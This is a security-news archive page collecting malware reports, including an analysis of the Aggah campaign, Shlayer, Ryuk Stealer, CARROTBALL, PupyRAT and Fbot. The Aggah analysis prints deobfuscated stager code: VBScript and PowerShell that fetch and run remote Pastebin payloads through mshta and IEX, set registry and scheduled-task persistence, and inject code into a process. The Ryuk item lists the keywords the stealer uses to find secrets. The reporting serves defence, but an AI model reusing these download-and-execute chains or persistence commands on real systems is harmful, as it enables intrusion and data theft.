Category Archives: Malware

The 2020 Annual Threat Report Blog

Estimated reading time: 2 minutes

As the enterprise security brand of Quick Heal Technologies Ltd., Seqrite develops security management products across endpoints, mobile devices, servers and networks. By building upon our data on threat research, intelligence and cybersecurity, our recently released Annual Threat Report 2020 aim to provide a detailed understanding of malware of 2019.

While the full report can be found on this link, here is a brief summary of the most significant findings from the report:

Malware infection continues to be a threat

Seqrite detected over 146 million malware in 2019 which is massive in number. The highest detection of malware happened in Q4 – 2019 which saw 46 million malware detected. In terms of hourly malware detection highlights for 2019, 16,732 cases were the maximum seen.

Trojan continues to be a danger

In terms of category-wise malware detection statistics, Trojan malware continued to remain popular with just above 25 million detections in 2019. It remained a threat throughout the year, seeing a major upsurge in the last quarter.

Q4 sees a spike in malware

From the data, it is quite evident that malware sees a pronounced spike towards the end of the year. Seqrite detected 46 million malware in Q4, compared to a little above 35 million in Q3, 30 million in Q2 and 25 million in Q1. November and December 2019 also saw the largest number of malware attacks with over 18 million detected in December and above 14 million detected in November.

Real-Time Scan remains a big plus

In terms of malware detection, Real-Time protection methodology is a clear winner and a big differentiator. 51% of malware was detected through Real-Time Scan while the second most effective methodology was Behavioral Detection Scan with 23%. On-Demand Scan came a close third with 22%.

The topmost detected malware

The data showed that the following malware were detected the most on business endpoints:

  • Pioneer.CZ1 was the most detected malware detected on 22% of endpoints. It is a file infector which performs malicious activities sending it to a CNC server.
  • Sality.U was detected on 13% of endpoints and is a file infector which performs a range of harmful activities including stealing confidential data from the system
  • KillAv.Dr was detected on 12% of endpoints stealing IP information and other personal data.


The manufacturing sector remains at highest risk

The manufacturing sector saw the highest number of malware attacks in 2019 with over 8 million detections. The education and the professional sectors were second and third on the list with over 7 million and around 6 million attacks, respectively.

APT attacks will continue

The Annual Threat Report 2020 also has a detailed section on Advanced Persistent Threats (APTs) which are designed to infiltrate high-value targets important to national governments such as the military, power grids, nuclear plants, etc. APTs are typically used by nation-states for cyber warfare.

Seqrite analyzed two APT attacks against important Indian government organizations in 2019. Operation m_project is a long-running cyber-espionage campaign against Indian government organizations since 2015 and targets defence organizations, government media houses and protection & security organizations

Seqrite Labs also analyzed the alleged cyber-attack on a Nuclear Power Plant in India and tried to decipher the modus operandi. The incident raised huge questions on the security aspects of critical national infrastructure and it was alleged that an infamous group from North Korea was behind the attack. Seqrite Labs hypothesized that the targeted attack could have been carried out by spear-phishing emails.

Be sure to read the full report for more details on the key findings mentioned in the report. Seqrite continues to be the leading source for the most relevant threat intelligence in the world of enterprise security.

The post The 2020 Annual Threat Report Blog appeared first on Seqrite Blog.

Aggah: How to run a botnet without renting a Server (for more than a year)

Experts from Yoroi-Cybaze ZLab have spotted new attack attempts directed to some Italian companies operating in the Retail sector linked to Aggah campaign.


During the last year, we constantly kept track of the Aggah campaigns. We started deepening inside the Roma225 Campaign and went on with the RG Campaign, contributing to the joint effort to track the offensive activities of this threat actor.

Recently, during our Cyber Defence monitoring operations, we spotted other attack attempts directed to some Italian companies operating in the Retail sector. For this reason, the  Cybaze-Yoroi ZLab team decided to dissect this last Aggah campaign and track its latest variations.

Technical Analysis

ThreatYakka3 Campaign
Brief DescriptionMalicious ppa file dropper with macro

Table 1. Sample information

The initial file is a Microsoft PowerPoint PPA file. It actually is an Add-in file designed to add new behavior to the classic PowerPoint presentations, in this case to add a nasty macro:

Figure 1: Piece of the malicious macro

The malicious code within the PPA abuses the Microsoft mshta utility to download a web page from the BlogSpot platform.

Figure 2: Result of the link

The HTML page closely matches the modus operandi of the previous Aggah threat. In this case, the blogspot post is named “20sydney new” but it uses the same trick from the past: hiding the javascript stager code inside the web page, an ad hoc code snippet which will be interpreted and executed only by the mshta engine.

Figure 3: Malicious code hidden in the Blogspot web page and executed by the MSHTA engine

The parameter passed the “unescape()” function results in another two layers of encoded strings, adopting a sort of “matrioska unecape obfuscation”. After these layers, we recovered the malicious logic of the stager:

  1. <script language=”VBScript”>
  2. Set M_c = CreateObject(StrReverse(“llehS.tpircSW”))
  3. Dim L_c
  4. L_c = StrReverse(“exe.drowniw mi/ f/ llikksat & exe.lecxe mi/ f/ llikksat c/ dmc”)
  5. M_c.Run L_c, vbHide
  6. set Ixsi = CreateObject(StrReverse(“llehS.tpircSW”))
  7. Dim Bik
  8. Bik1 = “mshta http:\\\raw\JELH48mw”
  9. Bik1, vbHide
  10. set nci = CreateObject(StrReverse(“llehS.tpircSW”))
  11. Dim xx
  12. xx1 = “r “”mshta http:\\\raw\JELH48mw”” /F “
  13. xx0 = StrReverse(“t/ )+niam+( nt/ 06 om/ ETUNIM cs/ etaerc/ sksathcs”)
  14. xx0 + xx1, vbHide
  15. Set ll = CreateObject(StrReverse(“llehS.tpircSW”))
  16. no = StrReverse(“mmetsaP\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\UCKH”)
  17. ll.RegWrite no,”mshta http:\\\raw\NxJCPTmQ”,”REG_SZ”
  18. self.close
  19. </script>

Code Snippet 1

The first part of this initial implant aims to kill the Word and Excel processes. Immediately after that, the malware downloads other code through leveraging mshta once again, this time from a pastebin snippet.

Figure 4: Piece of the malicious Pastebin

The author of this pastes is no more “HAGGA”, as seen in our previous analysis, now the he moved to another one: “YAKKA3”:

Figure 5: Evidence of YAKKA3 Pastebin user

The paste was created on the 25th November 2019 and it has likely been edited many times in the course the last month. In the past Aggah was frequently changing the content of his pastes to modify the malware behaviour and drop many kinds of malware. On some occasions, some of them suspected to be related to the Gorgon APT group. Anyway, during the analysis, the content of the encoded string is the following:

  1. <script language=”VBScript”>
  2. Set MVn = CreateObject(StrReverse(“llehS.tpircSW”))
  3. Mcn = “powershell do {$ping = test-connection -comp -count 1 -Quiet} until ($ping);[void] [System.Reflection.Assembly]::LoadWithPartialName(‘Microsoft.VisualBasic’);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),’Dow$_$loadStri$_$g’.replace(‘$_$’,’n’),[Microsoft.VisualBasic.CallType]::Method,’’)|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),’Dow$_$loadStri$_$g’.replace(‘$_$’,’n’),[Microsoft.VisualBasic.CallType]::Method,’’).replace(‘*’,’0x’)|IEX;[vroombrooomkrooom]::kekedoyouloveme(‘calc.exe’,$f)”
  4. MVn.Run Mcn, vbHide
  5. self.close
  6. </script>

Code Snippet 2

The above script is a piece of VBS script designed to run some other Powershell loader. The powershell script tests the internet connectivity by pinging to and then starts the infection. The script downloads two other pastes. The first is a PE file and the second one is a custom .NET process injection utility.

The Injector

ThreatYakka3 Campaign
Brief DescriptionInjector through process hollowing

Table 2. Sample information of the injector 

The injector component is invoked through its static method “[vroombrooomkrooom]::kekedoyouloveme(‘calc.exe’,$f)”, as seen in the code snippet 2. The only purpose of this component is to inject a payload inside the memory of another one process, as indicated in the parameter.

Figure 6: Write Process Memory technique

The injection technique is very basic. In fact the injection uses the textbook  “CreateRemoteThread” technique, well documented and used actively implemented by many actors and malware developers. 

Figure 7: Injected payload inside calc.exe process

UAC Bypass Tool

In Code Snippet 1 we saw that the aggah implant persists on the target machine by setting the “mshta http:[\\pastebin.]com\raw\NxJCPTmQ” command into the Registry Key “HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Pastemm”, so, it potentially loads different payloads on every run.

Figure 8: Piece of the malicious script executed by the persistence mechanism

Unlike previous pastes, the author of this one is YAKKA4. Probably, a form of redundancy in case of take down of the other accounts. 

Figure 9: YAKKA4 evidence

Anyway, the code served by this paste downloads another binary file from an additional Paste site:

  1. <script language=”VBScript”>
  2. Set i9i9 = CreateObject(“W” + “S” + “c” + “r” + “i” + “p” + “t” + “.” + “S” + “h” + “e” + “l” + “l”)
  3. i9i9.Run(“P” + “o” + “w” + “e” + “r” + “s” + “h” + “e” + “l” + “l” + “.” + “e” + “x” + “e -noexit [Byte[]]$sc64= iex(iex(‘(&” + “(GCM *W-O*)’+ ‘Net.’+” + “‘WebC’+’l” + “ient)’+’.Do” + “w’+’nload’+’Str’+’ing(”https://p” + “”).repl” + “ace(”*^*”,”^%$”).r” + “e” + “p” + “l” + “a” + “c” + “e” + “(”^%$”,”0x”)’));[<##>” + “Ap” + “pDomain<##>]::<##>(‘(” + “&$@#$%^&*(urrent” + “Domain’.rep” + “lace(‘(&$@#$%^&*(‘,’C’))<##>.<##>(‘%” + “*&^*&^*&^*&^*&oad’.r” + “eplace(‘%” + “*&^*&^*&^” + “*&^*&” + “‘,’L’))(” + “$sc64).’EntryP” + “oint'<##>.<##>(‘in*&^*” + “&^*&^&*^*&^o” + “k))*()*)(**(&(*&’.r” + “e” + “p” + “l” + “a” + “c” + “e” + “(‘))*()*)(**” + “(&(*&’,’e’).r” + “e” + “p” + “l” + “a” + “c” + “e” + “(‘*&^” + “*&^*&^&*^*&^’,’v’))($null,$null)”),0
  4. self.close
  5. </script>

Code Snippet 3

This last binary actually is a hacking tool implementing the CMSTP Bypass technique, a technique used to bypass Windows UAC prompts. 

According to the Microsoft Documentation, “Connection Manager is a suite of components that provides administrators with the ability to create and distribute customized remote access connections and to create, distribute, and automatically update customized phone books.”.

However, the cyber attackers could exploit an infected INF file to execute arbitrary commands bypassing the UAC, elevating privileges in a stealthy way. In this case the CMSTP Bypass technique implemented into a .NET executable. 

  Figure 10: Synthesis of the CMSTP Bypass technique

The Payload

As we saw in the past, Aggah used to change its payloads during time, and this time we observed that the delivered malware was not RevengeRAT. It rather was a LokiBot variant. This info stealer is well-known in the community since 2016 and it was deeply analyzed in the course of the years. 

In this case, it has the following configuration:

Figure 11: Loki Bot configuration with communication to the C2

The December Payloads

As anticipated before, Aggah payloads are quite dynamic. According to the some observation of community researches such as @DrStache, the Aggah pastebin accounts were dropping AZOrult infostealer few days before the Lokibot observation. 

Investigating the c2 infrastructure through the Azorult-Tracker services, we noticed the AZOrult malware distributed by Aggah in that period was targeting a modest number of victims mainly located in the United States, United Arab Emirates and also Pakistan, Germany and Israel. 


The Aggah actor keeps threatening organizations all around the world. During the time it built a custom stager implant based on legit third parties services, such as Pastebin and BlogSpot, abused by the actor to manage the infected hosts and to run its botnet without renting a server. 

During the last year we contributed to the joint effort to track its activities, along with PaloAlto’s Unit42, and after a year we can confirm it is still active and dangerous. At the moment it is not clear if this actor is just selling its hacking services or running its own campaigns, or both.

In conclusion, there is no hard evidence confirming or denying its potential relationships with the Gorgon APT, and factors like the different nationalities and the small amount of victims connected to December Aggah activities, does not help to exclude it.

Further technical details, including Indicators of Compromise (IoCs) and Yara rules, are reported in the analysis published by Yoroy-Cybaze Z-Lab:

Pierluigi Paganini

(SecurityAffairs – Aggah, botnet)

The post Aggah: How to run a botnet without renting a Server (for more than a year) appeared first on Security Affairs.

Which was the most common threat to macOS devices in 2019? Shlayer malware

Malware authors continue to show interest in macOS devices, Kaspersky experts confirmed that the Shlayer malware has been the most common threat to the macOS platform.

Security experts from Kaspersky Lab revealed that the Shlayer malware was the most widespread macOS threat in 2019.

In February, malware researchers at Carbon Black spotted a new strain of the Shlayer malware that was targeting MacOS versions from 10.10.5 up to 10.14.3.

The malware was posing as an Adobe Flash update and it was distributed through a large number of websites, fake or compromised legitimate domains.

Shlayer macOS Malware

This variant of the Shlayer malware employs multiple levels of obfuscation, experts discovered that many of the initial DMGs are signed with a legitimate Apple developer ID.

The malware installs Any Search bar on the targeted Mac device to deploy adware, it also intercepts and collects browser data and it is able to alter search results to deliver malicious ads.

According to Kaspersky, in 2019, one in ten of our Mac security solutions encountered this malware at least once.

“For close to two years now, the Shlayer Trojan has been the most common threat on the macOS platform: in 2019, one in ten of our Mac security solutions encountered this malware at least once, and it accounts for almost 30% of all detections for this OS.” reads the analysis published by Kaspersky. “The first specimens of this family fell into our hands back in February 2018, and we have since collected almost 32,000 different malicious samples of the Trojan and identified 143 C&C server domains.”

The malware was used to deliver multiple adware including AdWare.OSX.Cimpli, AdWare.OSX.Bnodlero, AdWare.OSX.Pirrit, and AdWare.OSX.Geonei.

Experts pointed out that the infection process of Shlayer malware hasn’t changed over the time and the malicious code has remained active throughout 2019.

Unlike other Bash-based macOS malware, the Shlayer family is written in Python, and its operation algorithm is different from other threats.

Shlayer is used only as the initial stage of the attack because it penetrates the system, loads the main payload, and runs it.

“The negative consequences for the user can be seen by investigating the AdWare.OSX.Cimpli family, which was being actively downloaded by the Trojan at the time of writing.” continues the report. ” But in actual fact, Cimpli performs several actions unseen by the user. First, it installs a malicious extension in Safari, hiding the OS security notification behind a malware fake window. By clicking on the buttons in the notification, the user in effect agrees to install the extension.”

The researchers detailed one of the extensions downloaded and installed by the malware that is called Management. The extension monitors user searches and redirects them to the address hxxp://lkysearchex41343-a.akamaihd[.]net/as?q=c by injecting the script script.js in the browser pages. The malicious code also loads the mitmdump tool, which is packed using PyInstaller.

Most Shlayer infection attempts were observed in the U.S. (31%), followed by Germany (14%), France (10%), and the UK (10%).

“Having studied the Shlayer family, we can conclude that the macOS platform is a good source of revenue for cybercriminals.” concludes the report. “The Trojan links even reside on legitimate resources — attackers are adept in the art of social engineering, and it is hard to predict how sophisticated the next deception technique will be.”

Pierluigi Paganini

(SecurityAffairs – Shlayer, hacking)

The post Which was the most common threat to macOS devices in 2019? Shlayer malware appeared first on Security Affairs.

A new piece of Ryuk Stealer targets government, military and finance sectors

A new piece of the Ryuk malware has been improved to steal confidential files related to the military, government, financial statements, and banking.

Security experts from MalwareHunterTeam have discovered a new version of the Ryuk Stealer malware that has been enhanced to allow its operators to steal a greater amount of confidential files related to the military, government, financial statements, and banking.

In September 2019, BleepingComputer reported the discovery of a new piece of malware that included references to the Ryuk Ransomware and that was used to steal files with filenames matching certain keywords.

It is not clear if the malware was developed by the threat actors behind Ryuk Ransomware for data exfiltration.

“It is likely the same actor with the access to the earlier Ryuk version who repurposed the code portion for this stealer,” explained the popular malware researcher Vitali Kremez.

“What we do know is that the malware is targeting very specific keywords that could be disastrous for governments, military operations, and law enforcement cases if the stolen files are exposed.” reported BleepingComputer.

The new variant of the Ryuk Stealer malware implements a new file content scanning feature and is able to search for additional keywords in the filenames for data exfiltration.

Source BleepingComputer

The variant of the Ryuk Stealer recently discovered is able to look for C++ code files (i.e. .cpp), further Word and Excel document types, PDFs, JPG image files, and also files associated with cryptocurrency wallets.

The scanning module first checks if the files on the systems have one of the above extensions, then it will check the contents of the files to verify the presence of one of the following keywords.

'personal', 'securityN-CSR10-SBEDGAR', 'spy', 'radar', 'agent', 'newswire', 'marketwired', '10-Q', 'fraud', 'hack', 'defence', 'treason', 'censored', 'bribery', 'contraband', 'operation', 'attack', 'military', 'tank', 'convict', 'scheme', 'tactical', 'Engeneering', 'explosive', 'drug', 'traitor', 'suspect', 'cyber', 'document', 'embeddedspy', 'radio', 'submarine', 'restricted', 'secret', 'balance', 'statement', 'checking', 'saving', 'routing', 'finance', 'agreement', 'SWIFT', 'IBAN', 'license', 'Compilation', 'report', 'secret', 'confident', 'hidden', 'clandestine', 'illegal', 'compromate', 'privacy', 'private', 'contract', 'concealed', 'backdoorundercover', 'clandestine', 'investigation', 'federal', 'bureau', 'government', 'security', 'unclassified', seed', 'personal', 'confident', 'mail', 'letter', 'passport', 'victim', 'court', 'NATO', 'Nato', 'scans', 'Emma', 'Liam', 'Olivia', 'Noah', 'William', 'Isabella', 'James', 'Sophia', 'Logan', 'Clearance'

In addition, the stealer will also check the presence of one of other 55 keywords in the filenames.

Once the document has passed the checks, it will be uploaded to an FTP site, experts pointed out that the code of the Ryuk stealer includes two FTP sites. At the time of the analysis, both sites were not reachable at the time of the analysis.

Targeted keywords in the new variant of the Ryuk stealer confirm that attackers are looking for confidential information in military, banking, finance and law enforcement.

Another aspect to consider is that operators behind ransomware are also interested in stealing sensitive data from their victims and use them to blackmail victims and force them to pay the ransom like the Maze ransomware gang does.

Pierluigi Paganini

(SecurityAffairs – Ryuk stealer, hacking)

The post A new piece of Ryuk Stealer targets government, military and finance sectors appeared first on Security Affairs.

Authorities arrest 3 Indonesian hackers behind many Magecart attacks

The Indonesian National Police and the Interpol announced the arrest of three Indonesian hackers who carried out Magecart attacks.

The Indonesian National Police in a joint press conference with Interpol announced the result of an investigation dubbed ‘Operation Night Fury’ that allowed to arrest three hackers that carried out Magecart attacks to steal payment card data.

The three hackers had compromised hundreds of e-commerce websites worldwide.

The Operation Night Fury was led by Interpol’s ASEAN Cyber Capability Desk, a joint initiative to drive intelligence-led and coordinated actions against cybercrime in ASEAN through the implementation of a harmonized regional coordination framework.

The three hackers were arrested in December in Jakarta and Yogyakarta and charged with data theft, fraud, and unauthorized access to computer systems. The men face up to 10 years in prison under article 363 of the Indonesian Criminal Code.

According to the authorities, the hackers had compromised at least 12 e-commerce websites, but the trio may be involved in a larger number of attacks.

Researchers from Sanguine Security have tracked the activity of this group for several years and believe they have compromised than 571 e-commerce stores.

The attribution of the 571 attacks to this specific group is based on an odd message that was left in all of the skimming code they used:

“Success gan !translates to “Success bro” in Indonesian.

According to the authorities, the suspects used stolen credit cards to buy electronic goods and other luxury items, and then resell on local e-commerce websites in Indonesia.

“The modus operandi of the suspect is to infect hundreds of e-commerce originating from various countries in the world, after getting the results in the form of thousands of payment data used for shopping payments in e-commerce, the suspects use the stolen data to spend electronic goods and other luxury goods.” reads the press release published by the police.

“The suspects also tried to resell the goods after they received from the shipper online and through e-commerce in Indonesia at a relatively cheap price or below the market price, evidence secured by Dittipidsiber 1 laptop, 5 mobile phones of various brands, 1 unit CPU, 3 pieces of KTP on behalf of the perpetrators, 1 BCA token, and 2 ATM cards. Of the 500 data losses, the perpetrators made a profit of 300-400 million.”

According to the experts from Sanguine Security, this group is responsible only for 1% of overall attacks carried out by groups under the Magecart umbrella, this means that many other hackers are ready to attack e-commerce sites worldwide.

“This group had a serious impact on global ecommerce security in recent years, by skimming at least 571 hacked stores.” concluded the experts. “However, they were responsible for just 1% of all Magecart incidents since 2018 and should be considered small catch. Sanguine Security estimates that there are yet another 40 to 50 more sophisticated individuals involved in web-skimming activity.”

Pierluigi Paganini

(SecurityAffairs – Magecart, hacking)

The post Authorities arrest 3 Indonesian hackers behind many Magecart attacks appeared first on Security Affairs.

Threat Roundup for January 17 to January 24

Today, Talos is publishing a glimpse into the most prevalent threats we’ve observed between Jan 17 and Jan 24. As with previous roundups, this post isn’t meant to be an in-depth analysis. Instead, this post will summarize the threats we’ve observed by highlighting key behavioral characteristics, indicators of compromise, and discussing how our customers are automatically protected from these threats.

As a reminder, the information provided for the following threats in this post is non-exhaustive and current as of the date of publication. Additionally, please keep in mind that IOC searching is only one part of threat hunting. Spotting a single IOC does not necessarily indicate maliciousness. Detection and coverage for the following threats is subject to updates, pending additional threat or vulnerability analysis. For the most current information, please refer to your Firepower Management Center,, or

Read More


TRU01242020 – This is a JSON file that includes the IOCs referenced in this post, as well as all hashes associated with the cluster. The list is limited to 25 hashes in this blog post. As always, please remember that all IOCs contained in this document are indicators, and that one single IOC does not indicate maliciousness. See the Read More link above for more details.

The post Threat Roundup for January 17 to January 24 appeared first on Cisco Blogs.

NK CARROTBALL dropper used in attacks on U.S. Govn Agency

A US Government agency was hit with a phishing attack attempting to deliver a new malware dropper dubbed CARROTBALL.

Security experts at Palo Alto Networks have uncovered a new malware dropper called CARROTBALL that was used in targeted attacks against a U.S. government agency and non-US foreign nationals.

Experts attribute the attack to the Konni Group, a North Korea-linked nation-state actor.

The attackers use a weaponized Microsoft Word document as a lure for the target, the phishing messages were sent from a Russian email address.

“Between July and October 2019, Unit 42 observed several malware families typically associated with the Konni Group (see Attribution section below for more details) used to primarily target a US government agency, using the ongoing and heightened geopolitical relations issues surrounding North Korea to lure targets into opening malicious email attachments.” reads the analysis published by Palo Alto Networks’s Unit42. “The malware families used in this campaign consisted mainly of malicious documents featuring CARROTBAT downloaders with SYSCON payloads, but also included a new malware downloader Unit 42 has dubbed CARROTBALL.”

This campaign, which the researchers call Fractured Statue, used six unique document lures sent from four unique Russian email addresses.

The subject of the emails featured articles written in Russian pertaining to ongoing geopolitical relations issues surrounding North Korea. Five documents involved in the campaign contained CARROTBAT downloaders, and one contained a CARROTBALL downloader. Both downloaders were used to deliver the second-stage SYSCON malware.

Experts pointed out that the campaign appears as a resemblance to the Fractured Block campaign first uncovered by Unit 42 in November 2018, for this reason, the experts tracked this campaign as Fractured Statue.

Experts identified three different phases of the Fractured Statue campaign and CARROTBALL downloader was used only in the last one that sees the involvement of email messages with the subject “The investment climate of North Korea,” sent from the address “pryakhin20l0@mail[.]ru.”

“Also interesting to note is that the sender added multiple recipients to their email; one was an individual at a US government agency, and the other two individuals were non-US foreign nationals professionally affiliated with ongoing activities in North Korea” continues the analysis of the report.


Experts noticed that all of the malicious documents used in the campaign used the same macro that allowed attackers to determine the target Windows architecture, execute a command that was hidden in a textbox included in the document and then clear the contents of the textboxes and save the document.

In the last wave of the campaign, attackers used a different macro that doesn’t execute commands hidden in the document, instead it relied on an embedded Windows binary.

“The October 2019 attack, however, differed significantly from the previous ones. Instead of reading from the contents of the document itself, the macros leveraged an embedded Windows executable in the form of hex bytes delimited via the ‘|’ character that ultimately acted as a dropper.” continues the analysis. “When the macro was executed, the hex bytes were split, converted to binary, and dropped onto disk as an executable.”

When the macro executed, the hex bytes would be split and converted to binary, then the downloader dubbed CARROTBALL is dropped on the disk.

The name “Konni” identifies a Remote Access Trojan used in targeted campaigns carried out by North Korea-linked APT groups. Experts pointed out that as additional campaigns showing strongly overlapping TTPs yet did not feature the Konni RAT, some experts started using the “Konni” moniker to refer to the actors behind the aggregated set of activity

“Overall, the Fractured Statue campaign provides clear evidence that the TTPS discovered in Fractured Block are still relevant, and that the group behind the attacks still appears to be active.” concludes the report. “Additionally, development and use of the new downloader, CARROTBALL, alongside the more commonly observed malware delivery mechanism, CARROTBAT, may indicate that the previous methods employed by the group to successfully infect their targets are becoming less effective.”

Additional technical details are included in the report published by the Unit42.

Pierluigi Paganini

(SecurityAffairs – CARROTBALL, Fractured Statue)

The post NK CARROTBALL dropper used in attacks on U.S. Govn Agency appeared first on Security Affairs.

Technical Report of the Bezos Phone Hack

Motherboard obtained and published the technical report on the hack of Jeff Bezos's phone, which is being attributed to Saudi Arabia, specifically to Crown Prince Mohammed bin Salman.

...investigators set up a secure lab to examine the phone and its artifacts and spent two days poring over the device but were unable to find any malware on it. Instead, they only found a suspicious video file sent to Bezos on May 1, 2018 that "appears to be an Arabic language promotional film about telecommunications."

That file shows an image of the Saudi Arabian flag and Swedish flags and arrived with an encrypted downloader. Because the downloader was encrypted this delayed or further prevented "study of the code delivered along with the video."

Investigators determined the video or downloader were suspicious only because Bezos' phone subsequently began transmitting large amounts of data. "[W]ithin hours of the encrypted downloader being received, a massive and unauthorized exfiltration of data from Bezos' phone began, continuing and escalating for months thereafter," the report states.

"The amount of data being transmitted out of Bezos' phone changed dramatically after receiving the WhatsApp video file and never returned to baseline. Following execution of the encrypted downloader sent from MBS' account, egress on the device immediately jumped by approximately 29,000 percent," it notes. "Forensic artifacts show that in the six (6) months prior to receiving the WhatsApp video, Bezos' phone had an average of 430KB of egress per day, fairly typical of an iPhone. Within hours of the WhatsApp video, egress jumped to 126MB. The phone maintained an unusually high average of 101MB of egress data per day for months thereafter, including many massive and highly atypical spikes of egress data."

The Motherboard article also quotes forensic experts on the report:

A mobile forensic expert told Motherboard that the investigation as depicted in the report is significantly incomplete and would only have provided the investigators with about 50 percent of what they needed, especially if this is a nation-state attack. She says the iTunes backup and other extractions they did would get them only messages, photo files, contacts and other files that the user is interested in saving from their applications, but not the core files.

"They would need to use a tool like Graykey or Cellebrite Premium or do a jailbreak to get a look at the full file system. That's where that state-sponsored malware is going to be found. Good state-sponsored malware should never show up in a backup," said Sarah Edwards, an author and teacher of mobile forensics for the SANS Institute.

"The full file system is getting into the device and getting every single file on there­ -- the whole operating system, the application data, the databases that will not be backed up. So really the in-depth analysis should be done on that full file system, for this level of investigation anyway. I would have insisted on that right from the start."

The investigators do note on the last page of their report that they need to jailbreak Bezos's phone to examine the root file system. Edwards said this would indeed get them everything they would need to search for persistent spyware like the kind created and sold by the NSO Group. But the report doesn't indicate if that did get done.

Ako Ransomware targeting businesses using RaaS

Ako Ransomware targeting businesses using RaaS Quick Heal security researchers recently observed ransomware that uses RaaS (Ransomware as a Service) which is a subpart of MaaS (Malware as a Service). Before delving into the AKO ransomware or RaaS, one must understand what Malware as a Service means, as it is…

Iran-Linked PupyRAT backdoor used in recent attacks on European energy sector

Hackers used a remote access Trojan (RAT) associated with Iran-linked APT groups in recent attacks on a key organization in the European energy sector.

Security experts from Recorded Future reported that a backdoor previously used in attacks carried out by an Iran-linked threat actor was used to target a key organization in the European energy sector.

The malware is the PupyRAT backdoor, it is a “multi-platform (Windows, Linux, OSX, Android), multi-function RAT and post-exploitation tool mainly written in Python” that can give the attackers full access to the victim’s system.

The PupyRAT backdoor is an open-source piece of malware available on GitHub, it was used in past campaigns associated with the Iran-linked APT groups like APT33 (also known as Elfin, Magic Hound and HOLMIUM), COBALT GYPSY, and APT34 (aka OilRIG).

The above groups were involved in past attacks on organizations in the energy sector worldwide.

Now experts from Recorded Future identified malicious traffic between PupyRAT install and the command and control (C&C) server identified by the experts. The communication involved a mail server for a European energy sector organization and took place between November 2019 and at least January 5, 2020.

“Using Recorded Future remote access trojan (RAT) controller detections and network traffic analysis techniques, Insikt Group identified a PupyRAT command and control (C2) server communicating with a mail server for a European energy sector organization from late November 2019 until at least January 5, 2020.” reads the analysis published by Recorded Future. “While metadata alone does not confirm a compromise, we assess that the high volume and repeated communications from the targeted mail server to a PupyRAT C2 are sufficient to indicate a likely intrusion.”

The researchers were not able to attribute the attack to Iran-linked APT groups, anyway, their analysis highlights that the targeted organization had a role in the coordination of European energy resources.

The activity predated the recent escalation of kinetic activity between the U.S. and Iran.

Experts suggest to monitor for sequential login attempts from the same IP against different accounts, use a password manager and set strong, unique passwords and of course adopt multi-factor authentication. Recorded Future researchers also recommend that organizations analyze and cross-reference log data to detect high-frequency lockouts, unsanctioned remote access attempts, temporal attack overlaps across multiple user accounts, and fingerprint unique web browser agent information.

“Although this commodity RAT, PupyRAT, is known to have been used by Iranian threat actor groups APT33 and COBALT GYPSY, we cannot confirm whether the PupyRAT controller we identified is used by either Iranian group.” concludes the report. “Whoever the attacker is, the targeting of a mail server at a high-value critical infrastructure organization could give an adversary access to sensitive information on energy allocation and resourcing in Europe.”

Pierluigi Paganini

(SecurityAffairs – Iran, hacking)

The post Iran-Linked PupyRAT backdoor used in recent attacks on European energy sector appeared first on Security Affairs.

The Mystery of Fbot

In a few days back, the MalwareMustDie team’s security researcher unixfreaxjp has published a new Linux malware analysis of Fbot that has focused on the decryption of the last encryption logic used by its bot client.

This is not the first time Fbot analysis has been published, and also Fbot binaries have been actively infecting the IoT devices since way before 2018.

This article explains what we have learned about the Fbot traced back from the year of 2014. And will discuss the mysteries that can be seen after Fbot has been detected.

The background before Fbot Mirai variant

Fbot is one of the Mirai’s variants, and Mirai is the Linux malware that originally has been detected in August 2016 by the same team who wrote the last analysis mentioned above. On the boom of Mirai source code leaks by its malware coder (nickname: AnnaSenpai), followed by the sharing of its source code openly in the Github within only a month after the analysis report has been published, a lot of young hackers involved in the “DDoS criminal ecosystem”, who had been actively using IoT devices for the DDoS purpose before Mirai malware was born, were racing in a big wave to learn how to install, adapt and transform Mirai to their DDoS botnet platforms, which most of them were built on Kaiten, STD, GafGyt (known also as Qbot or Torlus or Bashlite), or Perlbot malware source code, since Mirai had been proven to be more recently coded, powerful flood, is having anti-reverse-engineered tricks.

This wave is a significant timeline as a technology step-up for DDoS botnet and IoT malware development.

It is known in the underground that origin of Satori, the predecessor code of what is known as Fbot now, had been started to be developed after the leak of Mirai code, young botnet coders, who mostly also herders of Qbot (GafGyt) botnets. One of them who lives in the UK known under various nicknames of Vicious, ViciousAttack, Vi, Vamp, DustPan, NixFairy, HollySkye or RespectVicious, had allegedly been involved with this variant’s development too.


(Figure 1 – Vamp’s account on Twitter)

Vamp was among a number of suspects who had been arrested across the United Kingdom on the investigation of the TalkTalk cyber incident that happened in 2015, and he is also a suspect on the activity of Mirai botnet that made great damage in the several parts of the globe from 2016. Vamp, along with other “partners” (including Nexus Zeta, who has been indicted of a similar crime in the US), had his involvement with the original development of Satori botnet. After the legal matter had happened, Vamp was out of the grid and the recent news about him is the legal matter of lifting of his anonymity in 2018. As you can also see it in The Irish News published an article on 14 March, 2018, we quoted:

“With the criminal case now concluded, Mr Simpson said: ” ..this young man has now been dealt with, and he is now over 18 (years old). On that basis Mr Justice Maguire agreed to discharge the prohibition on identifying the teenager.”

The mystery of Fbot

What had happened now is the re-emerged of the SATORI Mirai variant basis with the payload called Fbot.[.supported_architecture], which has been detected since September 2018 on several honeypot logs and has been reported also in the analysis we mentioned here.


(Figure 2 – Fbot Scanning Activities with “SATORI” Keyword Detected)

The link between Fbot and Satori base is detected in its infection’s activity and executable file. For example, in the scanner log:

And also in the binary as hardcoded strings:


(Figure 3 – The Hardcoded “SATORI” Strings in Fbot Binary)

Would it be one of the “partners” during Satori development has renamed compiled binaries of the Satori project into Fbot? What are Vamp, NexusZeta doing nowadays? Or, would it b someone else uses the whole source code of the Satori project and re-use it for his own by naming the compiled binaries as Fbot?

This is the mystery that comes to our mind after reading the complete report published in MalwareMustDie last report.

To make things more mysterious is, right now, the Fbot infected devices are detected to still performing infection to other IoT devices, but the payload is not being dropped from the C2 server.

The latest detection can be seen in the post of MalwareMustDie latest post too:


(Figure 4 – Recent Record of Fbot Infection Log In the Analysis Article)

Although it has been confirmed by the researchers that since the analysis has been posted by in MalwareMustDie post, the C2 for Fbot is not dropping new payloads for the further infection activity.

Would it mean that the coder of Fbot is abandoning his botnet after all of this time?

Whoever the herder is, we all hope that the coder will stop his malicious activity for good.

